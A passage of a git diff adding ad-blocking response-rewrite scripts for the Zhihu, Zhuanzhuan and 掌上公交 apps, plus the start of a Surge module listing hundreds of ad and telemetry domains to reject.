+$done({body: JSON.stringify(obj)}); diff --git a/Scripts/zhangshanggongjiao.js b/Scripts/zhangshanggongjiao.js new file mode 100644 index 00000000..0d03b558 --- /dev/null +++ b/Scripts/zhangshanggongjiao.js @@ -0,0 +1,18 @@ +/*********************************** + > 應用名稱:掌上公交(微信小程序) + > 軟件版本:0.0.0 + > 下載地址:微信小程序搜索掌上公交 + > 更新時間:2022-03-01 + > 特别說明:本腳本僅供學習交流使用,禁止轉載售賣 + + [rewrite_local] + # 掌上公交微信小程序去除广告(2022-03-01) + https?:\/\/wx\.mygolbs\.com\/WxBusServer\/ApiData\.do url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhangshanggongjiao.js + + [mitm] + hostname=wx.mygolbs.com + + ***********************************/ + +var body = $response.body.replace(/Ad":1/g, 'Ad":0').replace(/Ad_ab":1/g, 'Ad_ab":0') +$done({body}); diff --git a/Scripts/zhihu/zhihu.js b/Scripts/zhihu/zhihu.js new file mode 100644 index 00000000..87145159 --- /dev/null +++ b/Scripts/zhihu/zhihu.js @@ -0,0 +1,203 @@ +// 2024-10-15 10:50 + +if (!$response.body) $done({}); +const url = $request.url; +let obj = JSON.parse($response.body); + +if (url.includes("/answers/v2/") || url.includes("/articles/v2/")) { + // 2024-04-29 新版知乎 回答列表下的相关提问 + if (obj?.third_business?.related_queries?.queries?.length > 0) { + obj.third_business.related_queries.queries = []; + } +} else if (url.includes("/api/cloud/zhihu/config/all")) { + // 全局配置 + if (obj?.data?.configs?.length > 0) { + for (let i of obj.data.configs) { + if (i?.configKey === "feed_gray_theme") { + if (i?.configValue) { + i.configValue.start_time = 3818332800; // Unix 时间戳 2090-12-31 00:00:00 + i.configValue.end_time = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + i.status = false; + } + } else if (i?.configKey === "feed_top_res") { + // 首页顶部背景图 + if (i?.configValue) { + i.configValue.start_time = 3818332800; // Unix 时间戳 2090-12-31 00:00:00 + i.configValue.end_time = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + } + } + } + } +} else if (url.includes("/api/v4/answers")) { + delete obj.data; + delete obj.paging; +} else if (url.includes("/api/v4/articles")) { + const item = ["ad_info", "paging", "recommend_info"]; + item.forEach((i) => { + delete obj[i]; + }); +} else if (url.includes("/appcloud2.zhihu.com/v3/config")) { + delete obj.config.hp_channel_tab; + if (obj?.config) { + if (obj.config?.homepage_feed_tab) { + obj.config.homepage_feed_tab.tab_infos = obj.config.homepage_feed_tab.tab_infos.filter((i) => { + if (i.tab_type === "activity_tab") { + i.start_time = "3818332800"; // Unix 时间戳 2090-12-31 00:00:00 + i.end_time = "3818419199"; // Unix 时间戳 2090-12-31 23:59:59 + return true; + } else { + return false; + } + }); + } + if (obj.config?.zombie_conf) { + obj.config.zombie_conf.zombieEnable = false; + } + if (obj.config?.gray_mode) { + obj.config.gray_modeenable = false; + obj.config.gray_mode.start_time = "3818332800"; // Unix 时间戳 2090-12-31 00:00:00 + obj.config.gray_mode.end_time = "3818419199"; // Unix 时间戳 2090-12-31 23:59:59 + } + if (obj.config?.zhcnh_thread_sync) { + obj.config.zhcnh_thread_sync.LocalDNSSetHostWhiteList = []; + obj.config.zhcnh_thread_sync.isOpenLocalDNS = "0"; + obj.config.zhcnh_thread_sync.ZHBackUpIP_Switch_Open = "0"; + obj.config.zhcnh_thread_sync.dns_ip_detector_operation_lock = "1"; + obj.config.zhcnh_thread_sync.ZHHTTPSessionManager_setupZHHTTPHeaderField = "1"; + } + obj.config.zvideo_max_number = 1; + obj.config.is_show_followguide_alert = false; + } +} else if (url.includes("/commercial_api/app_float_layer")) { + // 悬浮图标 + if ("feed_egg" in obj) { + delete obj; + } +} else if (url.includes("/feed/render/tab/config")) { + // 首页二级标签 白名单 live直播 edu人工智能AI + if (obj?.selected_sections?.length > 0) { + obj.selected_sections = obj.selected_sections.filter((i) => ["recommend", "section"]?.includes(i?.tab_type)); + } +} else if (url.includes("/moments_v3")) { + if (obj?.data?.length > 0) { + obj.data = obj.data.filter((i) => !i?.title?.includes("为您推荐")); + } +} else if (url.includes("/next-bff")) { + if (obj?.data?.length > 0) { + obj.data = obj.data.filter( + (i) => + !( + i?.origin_data?.type?.includes("ad") || + i?.origin_data?.resource_type?.includes("ad") || + i?.origin_data?.next_guide?.title?.includes("推荐") + ) + ); + } +} else if (url.includes("/next-data")) { + if (obj?.data?.data?.length > 0) { + obj.data.data = obj.data.data.filter((i) => !(i?.type?.includes("ad") || i?.data?.answer_type?.includes("PAID"))); + } +} else if (url.includes("/next-render")) { + if (obj?.data?.length > 0) { + obj.data = obj.data.filter( + (i) => + !( + i?.adjson || + i?.biz_type_list?.includes("article") || + i?.biz_type_list?.includes("content") || + i?.business_type?.includes("paid") || + i?.section_info || + i?.tips || + i?.type?.includes("ad") + ) + ); + } +} else if (url.includes("/questions/")) { + // 问题回答列表 + delete obj.ad_info; + delete obj.data.ad_info; + delete obj.query_info; + if (obj?.data?.length > 0) { + obj.data = obj.data.filter((i) => !i?.target?.answer_type?.includes("paid")); + } +} else if (url.includes("/root/tab")) { + // 首页一级标签 白名单 + if (obj?.tab_list?.length > 0) { + obj.tab_list = obj.tab_list.filter((i) => ["follow", "hot", "recommend"]?.includes(i?.tab_type)); + } +} else if (url.includes("/topstory/hot-lists/everyone-seeing")) { + // 热榜信息流 + if (obj?.data?.data?.length > 0) { + // 合作推广 + obj.data.data = obj.data.data.filter((i) => !i.target?.metrics_area?.text?.includes("合作推广")); + } +} else if (url.includes("/topstory/hot-lists/total")) { + // 热榜排行榜 + if (obj?.data?.length > 0) { + // 品牌甄选 + obj.data = obj.data.filter((i) => !i.hasOwnProperty("ad")); + } +} else if (url.includes("/topstory/recommend")) { + // 推荐信息流 + if (obj?.data?.length > 0) { + obj.data = obj.data.filter((i) => { + if (i.type === "market_card" && i.fields?.header?.url && i.fields.body?.video?.id) { + let videoID = getUrlParamValue(item.fields.header.url, "videoID"); + if (videoID) { + i.fields.body.video.id = videoID; + } + } else if (i.type === "common_card") { + if (i.extra?.type === "drama") { + // 直播内容 + return false; + } else if (i.extra?.type === "zvideo") { + // 推广视频 + let videoUrl = i.common_card.feed_content.video.customized_page_url; + let videoID = getUrlParamValue(videoUrl, "videoID"); + if (videoID) { + i.common_card.feed_content.video.id = videoID; + } + } else if (i.common_card?.feed_content?.video?.id) { + let search = '"feed_content":{"video":{"id":'; + let str = $response.body.substring($response.body.indexOf(search) + search.length); + let videoID = str.substring(0, str.indexOf(",")); + i.common_card.feed_content.video.id = videoID; + } else if (i.common_card?.footline?.elements?.[0]?.text?.panel_text?.includes("广告")) { + return false; + } else if (i.common_card?.feed_content?.source_line?.elements?.[1]?.text?.panel_text?.includes("盐选")) { + return false; + } else if (i?.promotion_extra) { + // 营销信息 + return false; + } + return true; + } else if (i.type?.includes("aggregation_card")) { + // 横排卡片 知乎热榜 + return false; + } else if (i.type === "feed_advert") { + // 伪装成正常内容的卡片 + return false; + } + return true; + }); + fixPos(obj.data); + } +} + +$done({ body: JSON.stringify(obj) }); + +// 修复offset +function fixPos(arr) { + for (let i = 0; i < arr.length; i++) { + arr[i].offset = i + 1; + } +} + +function getUrlParamValue(url, queryName) { + return Object.fromEntries( + url + .substring(url.indexOf("?") + 1) + .split("&") + .map((pair) => pair.split("=")) + )[queryName]; +} diff --git a/Scripts/zhuanzhuan/zhuanzhuan.js b/Scripts/zhuanzhuan/zhuanzhuan.js new file mode 100644 index 00000000..b3422514 --- /dev/null +++ b/Scripts/zhuanzhuan/zhuanzhuan.js @@ -0,0 +1,31 @@ +/** + * @author fmz200 + * @date 2023-11-30 21:50:13 + * @function 转转APP净化+去广告 + */ + +let url = $request.url; +let responseBody = $response.body; + +try { + responseBody = JSON.parse(responseBody); + // 删除“测一测,你的手机能卖多少钱” + delete responseBody.respData.bmNewInfo; + + responseBody.respData.itemGroupList = responseBody.respData.itemGroupList.map(itemGroup => { + // 去掉“我的钱包” + if (itemGroup.groupType === 15) { + return null; // 将groupType为15的元素置为null + } else if (itemGroup.groupType === 3) { // 推荐工具只保留4个 + itemGroup.itemList = itemGroup.itemList.slice(0, 4); + } + return itemGroup; + }).filter(Boolean); // 过滤掉为null的元素 + console.log('转转APP处理完成✅'); +} catch (error) { + console.log('脚本运行出现错误,部分内容未生效⚠️'); + console.log('错误信息:' + error.message); +} + +$done({body: JSON.stringify(responseBody)}); + diff --git a/Shadowrocket/readme.md b/Shadowrocket/readme.md new file mode 100644 index 00000000..4fe4d6c8 --- /dev/null +++ b/Shadowrocket/readme.md @@ -0,0 +1 @@ +## 你可以借助转换工具 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 将本仓库中的配置转换到ShadowRocket中 diff --git a/Stash/readme.md b/Stash/readme.md new file mode 100644 index 00000000..989c2c39 --- /dev/null +++ b/Stash/readme.md @@ -0,0 +1 @@ +## 你可以借助转换工具 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 将本仓库中的配置转换到Stash中 diff --git a/Surge/module/blockAds.module b/Surge/module/blockAds.module new file mode 100644 index 00000000..05951df8 --- /dev/null +++ b/Surge/module/blockAds.module @@ -0,0 +1,3588 @@ +#!name=广告拦截&净化合集 +#!desc=(支持约564款APP/小程序)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装拦截广告才会生效!规则明细可以查看本插件的注释 +#!author=奶思[https://github.com/fmz200] +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AdblockPlus.png +#!category=奶思的模块 +#!rule-details=12123, 12306, 21经济网, 2345天气王, 360儿童卫士, 36kr, 555影视, 51信用卡管家, 58, 500, 51job, AcFun, AppSo, 阿里巴巴, 阿里云盘, 爱奇艺, 爱企查, 爱回收, 爱思助手, 爱美剧, 爱阅书香, 爱桐乡, 安徽掌上10000, 安吉星, 澳觅, Blued, 半月谈, 宝宝树孕育, 北京银行, 掌上京彩, 百度地图, 百度输入法, 百度网盘, 百度贴吧, 百度翻译, 百度文库, 百度, 百信银行, 哔哩哔哩, 哔哩哔哩漫画, 北京首汽, 贝壳找房, 贝太厨房, 菠萝包轻小说, 比特球云盘, 币世界, 币安, 乐刻, 必胜客, 百视TV, 波点音乐, 薄荷健康, clicli, csdn, crunchyroll, 彩云天气, 菜鸟裹裹, 超星学习通, 长城炼金术, 曹操专车, 车来了, 超级课程表, 潮玩宇宙, 财新, 财联社, 财经杂志, 刺猬猫阅读, 创客贴设计, DJI Store (大疆商城), 大麦, 大师兄, 大智慧, 大众点评, 达达骑士版, 动卡空间, 到梦空间, 低端影视, 豆瓣, 斗鱼直播, 当当阅读, 叮咚买菜, 叮嗒出行, 东方财富, 懂球帝, 丁香医生, 丁香园, 钉钉, 动画疯, 滴滴出行, 滴滴青桔, 滴滴代驾小程序, 嘀嗒出行, 得物, 电E宝, 电视家, 盯盯拍, e代驾, e充电, 饿了么, Flightradar24, 飞猪 + 阿里巴巴, 飞常准, 飞客茶馆, 番茄小说, 樊登读书, 丰巢, 凤凰秀, 富途牛牛, 分期乐, 返利网, 发现精彩, 粉笔, 光大银行, 光大银行 阳光惠生活, 工商银行, 工银E生活, 工银e生活小程序, 广发银行, 广州农商银行, 广汽传祺, 国泰君安, 国家医保服务平台, 高德地图, 国家地理, 谷歌, 挂号网(微医), 国美电器, 故宫博物馆小程序, 怪兽充电, 盖得排行, 冠寓, 广汽本田, 怪兽充电 微信小程序, 工时记录, 高铁管家, 华彩生活, 华尔街见闻, 虎牙直播, 华住会, 韩剧TV, 好奇心日报, 好好住, 火猫, 花生地铁, 花小猪, 虎扑, 杭州市民, 杭州公交, 红版报, 虎嗅, 黄油相机, 华宝智投, 航旅纵横, 汇丰汇选, 和风天气, 合利宝展业通, 盒马, 海豚优惠, 海尔服务小程序, 好型体重秤, 横店电影小程序, 汇付天下, 海马爸比, i3, IT之家, 吉林银行, 江苏银行, 建行生活, 简讯, 金山词霸, 京东, 京东健康, 京喜, 京东金融, 京东读书, 京东云无线宝, 界面新闻, 驾校一点通, 驾考宝典, 金十数据, 今日头条, 今日水印相机, 加油广东, 韭菜公社, 机核网, 街电 微信小程序, 极简汇率, keep, 快看, 快手, 夸克, 酷我音乐, 看天下, 看理想, 快递100, 开源中国, 快手联盟,优量汇,穿山甲「广告联盟」, 口袋校园, 考公雷达/公考雷达, 酷安, 肯德基, Line, 拉卡拉, 懒人听书, 懒投资, 来疯, 来电 小程序净化, 莱充, 蓝基因, 乐橙, 乐堡潮玩馆小程序, 联想, 拦截100, 旅法师营地, LING Club-原菱菱邦, LocSim, lofter, linxi, 两步路, 猎聘, MIX, 妈妈网孕育, 猫耳FM, 猫眼, 美团 & 美团外卖, 美团众包, 美团充电宝小程序, 每日优鲜, 买单吧, 民生银行, 全民生活, 芒果TV, 马蜂窝, 马达出行, 咪咕, 秒拍, 美图秀秀, 马卡龙玩图, 蘑菇租房, 美味不用等, 漫画人, 埋堆堆, 脉脉, 麦当劳, NTPlay, 农业银行, 奈菲影视, 南方航空, 宁聚, 牛津高阶词典第十版, 牛听听, ofo共享单车, ONE, omofun, Oray, pikpak, PushPlus微信推送广告, 浦发银行, 浦大喜奔, 朴朴超市, 平安好车主, 平安壹钱包, 平安证券, 平安口袋银行, 拼多多, 票根, 票星球, 澎湃新闻, 皮皮虾, 皮皮搞笑评论区, QQ钱包, QQ浏览器, QQ音乐, 去哪儿, 起点读书, 七猫小说, 汽车之家, 穷游, 汽水音乐, 球迷报, 亲宝宝, 全民K歌, 全家便利店, 全能浏览器, 全球购骑士卡, 去哒, Reddit, 人民日报, 人人视频, 日日煮, 日淘任意门, 日产智联, RARBG, 瑞幸咖啡, spotify, Soul, Stay, 苏宁, 苏e行, 苏周到, 苏打校园APP, 四季線上影視, 四川航空, 搜狐, 搜狗输入法, 搜电充电 微信小程序, 深圳通, 盛趣游戏, 什么值得买, 神马, 顺丰快递, 顺丰快递小程序, 顺丰优选, 少数派, 书旗小说, 神舟汽车, 上汽大众, 首汽约车, 首旅如家, 三联中读, 识货, 闪现一下, 闪动校园, 山姆会员商店, 旅途随身听, 收钱吧 买单小程序, 省省回头车, TestFlight, TT语音, TapTap, TubeMax, top-widget, 天府市民云, 天府手机银行, 天府银行小程序, 天府通, 天山云TV, 天天基金, 天星金融, 天猫精灵, 天猫养车, 天翼云盘, 同花顺, 同程旅行, 淘票票, 淘淘阅读, 途牛, 途虎养车小程序, 途家民宿, 太平洋电脑, 太平洋知科技, 天气通 分流即可, 淘宝, 腾讯视频, 腾讯乘车码微信小程序, 腾讯游戏社区, 腾讯游戏, 腾讯手机管家, 腾讯地图, 腾讯新闻, 腾讯体育, 腾讯广告, 推栏, U净, udn news, vgTime, Vista看天下, Weico(微博客户端), WPS, WIFI万能钥匙, 完美世界电竞, 万词王, 万达电影小程序, 微信, 网易新闻, 网易有钱, 网易严选, 网易蜗牛读书, 网易考拉, 网易云音乐, 网易邮箱, 网易, 网易大神, 网易有道词典, 网上国网, 威锋, 微店, 无他相机, 悟空遥控器, 蜗牛睡眠, 本来生活, 唯品会, 稿定设计, 温尼伯站, 小米商城, 小米有品, 小米运动, 小米打印, 小米金融, 米家, 米读, 米游社, 雪球, 下厨房, 兴业银行, 兴业生活, 星火英语, 星途 starway, 星财富, 迅雷, 迅游加速器, 小睡眠, 小特- 首选特斯拉中文社区, 小利生活, 小兔充充, 小电充电 微信小程序, 小合拓展, 小牛, 小桔科技, 小艺, 小Biu智家, 小熊艺术, 小佩宠物, 小白学习打印机 开屏广告, 小象超市, 小芒, 小蚕霸王餐, 晓晓优选, 希尔顿 荣誉客会, 希沃白板5, 西施眼, 西窗烛, 稀饭动漫, 向日葵, 心悦俱乐部, 兴业证券, 熊猫直播, 讯飞, 携程, 虾米音乐, 厦门航空, 闲鱼, 新浪新闻, 新片场, 香蕉是一种水果, 小红书, 喜马拉雅, YouTube, 曜影医疗, 云闪付, 邮储银行, 银盛通, 盈宝证券, 盈立智投, 优酷, 游戏时光, 永辉, 悠洗APP, 一淘, 一号店, 一汽大众, 一起考教师, 有兔阅读(米兔), 雅虎, 印象笔记, 易车, 易捷加油小程序, 易校园, 萤石, 云宝宝大数据, 友邻优课, 友邦, 医考帮, 艺龙旅行网, 映客直播, 云麦, 央视, 央视频, 猿辅导, 一刻相册, 易捷加油, 翼支付, 鸭奈飞, 优书, 育学园, 亚马逊, 亚朵开屏, 永安行, 招商银行, 掌上生活, 中国银行, 中国银行 缤纷生活, 中信银行, 中国移动, 中国移动 江苏, 中国移动 安徽, 中国移动 广东, 中国移动 广西, 中国移动 山东, 中国移动云盘, 中国联通, 中国电信, 中国广电, 中国天气网小程序, 中国知网, 中国人保, 中油优途, 中羽在线, 中通快递, 中银跨境GO, 中油好客e站小程序, 中关村在线, 众邦银行, 涨乐财富通, 知乎, 追书神器, 作业帮, 掌阅, 掌上道具城, 掌上公交, 掌上鹿城, 字节跳动, 最右, 转转, 掌上英雄联盟, 浙里办, 郑好办, 住这儿, 指点天下, 猪八戒, 智行APP, 自如, 追剧达人, 职工普惠, 正气助手, 招财猫直聘, 中国国际航空 +#!homepage=https://github.com/fmz200/wool_scripts +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/blockAds.plugin +#!tg-group=https://t.me/lanjieguanggao +#!tag=去广告, fmz200, 奶思 +#!system=ios +#!date=2025-06-20 23:40:17 +#!remark=下方的所有规则都标注了对应的hostname,可能存在错误或者遗漏,欢迎反馈。对于无法/可选MITM的hostname都特别做了“如开启可自行添加主机名”提示,如果提示后面没有标注主机名则包含所有主机名,否则只包含提示语后面的主机名。 + +[Rule] +# > 哔哩哔哩 +DOMAIN,api.biliapi.com,REJECT +DOMAIN,app.biliapi.com,REJECT +DOMAIN,api.biliapi.net,REJECT +DOMAIN,app.biliapi.net,REJECT +# 开屏广告 +URL-REGEX,"^http:\/\/upos-sz-static\.bilivideo\.com\/ssaxcode\/\w{2}\/\w{2}\/\w{32}-1-SPLASH",REJECT-TINYGIF +URL-REGEX,"^http:\/\/[\d\.]+:8000\/v1\/resource\/\w{32}-1-SPLASH",REJECT-TINYGIF +# > 韩剧TV +DOMAIN,mi.gdt.qq.com,REJECT +DOMAIN,adsmind.ugdtimg.com,REJECT +DOMAIN,pgdt.ugdtimg.com,REJECT +DOMAIN,v2mi.gdt.qq.com,REJECT +DOMAIN,da.bridgeturbo.com,REJECT +DOMAIN,adx-os.bridgeturbo.com,REJECT +DOMAIN,adx-bj.anythinktech.com,REJECT +DOMAIN,mobads.baidu.com,REJECT +# 拦截HTTPDNS +DOMAIN,httpdns.n.netease.com,REJECT +DOMAIN,httpdns.calorietech.com,REJECT +# 拦截广告下发 +DOMAIN,hc-ssp.sm.cn,REJECT +AND,((DOMAIN-KEYWORD,-ad-),(DOMAIN-SUFFIX,byteimg.com)),REJECT +AND,((DOMAIN-KEYWORD,-ttam-),(DOMAIN-SUFFIX,ibyteimg.com)),REJECT +AND,((DOMAIN-KEYWORD,ssdk-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,pangolin),(DOMAIN-SUFFIX,sgsnssdk.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-short.bytetos.com)),REJECT +AND,((DOMAIN-KEYWORD,v),(DOMAIN-KEYWORD,-be-pack.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-be-pack.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,s),(DOMAIN-KEYWORD,-fe-scm.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-ttcdn-tos.pstatp.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-fe-tos.pglstatp-toutiao.com)),REJECT +AND,((DOMAIN-KEYWORD,sf),(DOMAIN-KEYWORD,-static.i18n-pglstatp.com)),REJECT +AND,((DOMAIN-KEYWORD,if),(DOMAIN-KEYWORD,-cdn-tos.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,if),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-analytics.bytescm.com)),REJECT +AND,((DOMAIN-KEYWORD,ads),(DOMAIN-KEYWORD,normal),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-access-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-log-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,-dual-event-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,api),(DOMAIN-KEYWORD,pangolin),(DOMAIN-SUFFIX,sgsnssdk.com)),REJECT +AND,((DOMAIN-KEYWORD,ads),(DOMAIN-KEYWORD,-normal-lq),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +URL-REGEX,"^http:\/\/p\d+-be-pack-sign\.pglstatp-toutiao\.com\/(ad-app-package|web\.business\.image)\/",REJECT +DOMAIN,mon.zijieapi.com,REJECT +DOMAIN,lf-ad-ies.bytecdn.cn,REJECT +DOMAIN,i.snssdk.com,REJECT +DOMAIN,is.snssdk.com,REJECT +DOMAIN,bds.snssdk.com,REJECT +DOMAIN,dm.bytedance.com,REJECT +DOMAIN,dm.pstatp.com,REJECT +DOMAIN,dm.toutiao.com,REJECT +DOMAIN,log.snssdk.com,REJECT +DOMAIN,s3a.pstatp.com,REJECT +DOMAIN,sdfp.snssdk.com,REJECT +DOMAIN,tosv.boe.byted.org,REJECT +DOMAIN,tosv.byted.org,REJECT +DOMAIN,extlog.snssdk.com,REJECT +DOMAIN,mssdk-bu.bytedance.com,REJECT +DOMAIN,toblog.ctobsnssdk.com,REJECT +DOMAIN,mssdk.volces.com,REJECT +DOMAIN,pangolin.snssdk.com,REJECT +DOMAIN,gromore.pangolin-sdk-toutiao.com,REJECT +DOMAIN,ether-pack.pangolin-sdk-toutiao.com,REJECT +DOMAIN-KEYWORD,-ad-sign.byteimg.com,REJECT +DOMAIN-KEYWORD,api-access.pangolin-sdk-toutiao,REJECT +DOMAIN-KEYWORD,log-api.pangolin-sdk-toutiao,REJECT +DOMAIN-KEYWORD,-ad.byteoversea.com,REJECT +DOMAIN-KEYWORD,video-cn.snssdk.com,REJECT +DOMAIN-KEYWORD,asiad.byteactivity,REJECT +DOMAIN,adsmind.gdtimg.com,REJECT +DOMAIN,adsmind.ugdtimg.com,REJECT +DOMAIN,c2.gdt.qq.com,REJECT +DOMAIN,huatuocode.huatuo.qq.com,REJECT +DOMAIN,info4.video.qq.com,REJECT +DOMAIN,info6.video.qq.com,REJECT +DOMAIN,ios.bugly.qq.com,REJECT +DOMAIN,ios.video.mpush.qq.com,REJECT +DOMAIN,mi.gdt.qq.com,REJECT +DOMAIN,otheve.beacon.qq.com,REJECT +DOMAIN,pgdt.gtimg.cn,REJECT +DOMAIN,pgdt.ugdtimg.com,REJECT +DOMAIN,qzs.gdtimg.com,REJECT +DOMAIN,qzs.qq.com,REJECT +DOMAIN,rmonitor.qq.com,REJECT +DOMAIN,sdk.e.qq.com,REJECT +DOMAIN,sdkconfig.video.qq.com,REJECT +DOMAIN,t.gdt.qq.com,REJECT +DOMAIN,tmead.y.qq.com,REJECT +DOMAIN,tmeadbak.y.qq.com,REJECT +DOMAIN,tmeadcomm.y.qq.com,REJECT +DOMAIN,tpns.qq.com,REJECT +DOMAIN,v.gdt.qq.com,REJECT +DOMAIN,v2.gdt.qq.com,REJECT +DOMAIN,win.gdt.qq.com,REJECT +DOMAIN,wup.imtt.qq.com,REJECT +DOMAIN,tpstelemetry.tencent.com,REJECT +DOMAIN-KEYWORD,trace.qq.com,REJECT +DOMAIN-KEYWORD,trace.video.qq.com,REJECT +DOMAIN-SUFFIX,gdt.qq.com,REJECT +DOMAIN-SUFFIX,l.qq.com,REJECT +DOMAIN-SUFFIX,ugdtimg.com,REJECT +IP-CIDR,47.110.187.87/32,REJECT,no-resolve +DOMAIN,cnlogs.umeng.com,REJECT +DOMAIN,errlog.umeng.com,REJECT +DOMAIN,errnewlog.umeng.com,REJECT +DOMAIN,ucc.umeng.com,REJECT +DOMAIN,ulogs.umeng.com,REJECT +DOMAIN,utoken.umeng.com,REJECT +DOMAIN,deeplink.umeng.com,REJECT +DOMAIN,aspect-upush.umeng.com,REJECT +DOMAIN,plbslog.umeng.com,REJECT +DOMAIN,log.umtrack.com,REJECT +DOMAIN,aaid.umeng.com,REJECT +DOMAIN,log.umsns.com,REJECT +DOMAIN,ali-stats.jpush.cn,REJECT +DOMAIN,ce3e75d5.jpush.cn,REJECT +DOMAIN,config-junion.jpush.cn,REJECT +DOMAIN,config.jpush.cn,REJECT +DOMAIN,fcapi-ipv6.jpush.cn,REJECT +DOMAIN,gd-stats.jpush.cn,REJECT +DOMAIN,s.jpush.cn,REJECT +DOMAIN,sdk.verification.jiguang.cn,REJECT +DOMAIN,sis-ipv6.jpush.cn,REJECT +DOMAIN,smartop-sdkapi.jiguang.cn,REJECT +DOMAIN,status-ipv6.jpush.cn,REJECT +DOMAIN,tsis.jpush.cn,REJECT +DOMAIN,user.jpush.cn,REJECT +DOMAIN-SUFFIX,jiguang.cn,REJECT +DOMAIN-SUFFIX,jpush.cn,REJECT +DOMAIN-SUFFIX,jpush.io,REJECT +DOMAIN,sdk.tianmu.mobi,REJECT +DOMAIN,tracker.tianmu.mobi,REJECT +DOMAIN,sdk.beizi.biz,REJECT +DOMAIN,api-htp.beizi.biz,REJECT +DOMAIN,monitor.ssp.admobile.top,REJECT +DOMAIN,sdk.ssp.admobile.top,REJECT +DOMAIN,ax.admobile.top,REJECT +DOMAIN,jump.admobile.top,REJECT +DOMAIN-SUFFIX,admobile.top,REJECT +DOMAIN,gdfp.gifshow.com,REJECT +DOMAIN,open.e.kuaishou.com,REJECT +DOMAIN-SUFFIX,adukwai.com,REJECT +DOMAIN,adx.adtaipo.com,REJECT +DOMAIN,adx.kuaiyiad.com,REJECT +DOMAIN,adreport.adtianmai.com,REJECT +DOMAIN,adxapi.readgps.com,REJECT +DOMAIN,t.fanglinad.com,REJECT +DOMAIN,trk1.17admob.com,REJECT +DOMAIN,nfy.slyxmobi.com,REJECT +DOMAIN,api.mobrtb.com,REJECT +DOMAIN,ssp.maplehaze.cn,REJECT +DOMAIN-SUFFIX,lnk0.com,REJECT +AND,((DOMAIN-KEYWORD,api100-core-quic-),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,api100-normal-quic-),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,api100-normal-quic-aweme-),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,api100-quic-core-),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,api100-quic-normal-),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,frontier-aweme-),(AND,((OR,((DOMAIN-KEYWORD,-ipa.),(DOMAIN-KEYWORD,-ipainner.),(DOMAIN-KEYWORD,-origin.),(DOMAIN-KEYWORD,-ipainner-))),(OR,((DOMAIN-SUFFIX,snssdk.com),(DOMAIN-SUFFIX,amemv.com)))))),REJECT +AND,((DOMAIN-KEYWORD,frontier100-aweme),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,ma5-normal-),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +AND,((DOMAIN-KEYWORD,polaris5-normal-),(DOMAIN-SUFFIX,zijieapi.com)),REJECT +AND,((DOMAIN-KEYWORD,webcast100-ws-c-),(DOMAIN-SUFFIX,amemv.com)),REJECT +AND,((DOMAIN-KEYWORD,tnc),(AND,((OR,((DOMAIN-KEYWORD,-bjlgy),(DOMAIN-KEYWORD,-alisc),(DOMAIN-KEYWORD,-aliec),(DOMAIN-KEYWORD,-alisg))),(OR,((DOMAIN-SUFFIX,snssdk.com),(DOMAIN-SUFFIX,isnssdk.com),(DOMAIN-SUFFIX,toutiaoapi.com),(DOMAIN-SUFFIX,bytedance.com),(DOMAIN-SUFFIX,zijieapi.com)))))),REJECT +DOMAIN,frontier-aweme-hl.snssdk.com,REJECT +DOMAIN,frontier-aweme.snssdk.com,REJECT +DOMAIN,frontier-quic-test.bytedance.com,REJECT +AND,((IP-CIDR,110.249.199.75/32,no-resolve),(DEST-PORT,6443)),REJECT +AND,((IP-CIDR,111.225.147.191/32,no-resolve),(DEST-PORT,6443)),REJECT +AND,((IP-CIDR,111.63.61.101/32,no-resolve),(DEST-PORT,6443)),REJECT +AND,((IP-CIDR,220.243.141.0/32,no-resolve),(DEST-PORT,6443)),REJECT +AND,((DOMAIN-KEYWORD,-ad-),(DOMAIN-SUFFIX,byteimg.com)),REJECT +AND,((DOMAIN-KEYWORD,-ttam-),(DOMAIN-SUFFIX,ibyteimg.com)),REJECT +AND,((DOMAIN-KEYWORD,ssdk-),(DOMAIN-SUFFIX,pangle.io)),REJECT +AND,((DOMAIN-KEYWORD,pangolin),(DOMAIN-SUFFIX,sgsnssdk.com)),REJECT +AND,((DOMAIN-KEYWORD,lf),(DOMAIN-KEYWORD,-short.bytetos.com)),REJECT +AND,((DOMAIN-KEYWORD,v),(DOMAIN-KEYWORD,-be-pack.pglstatp-toutiao.com)),REJECT 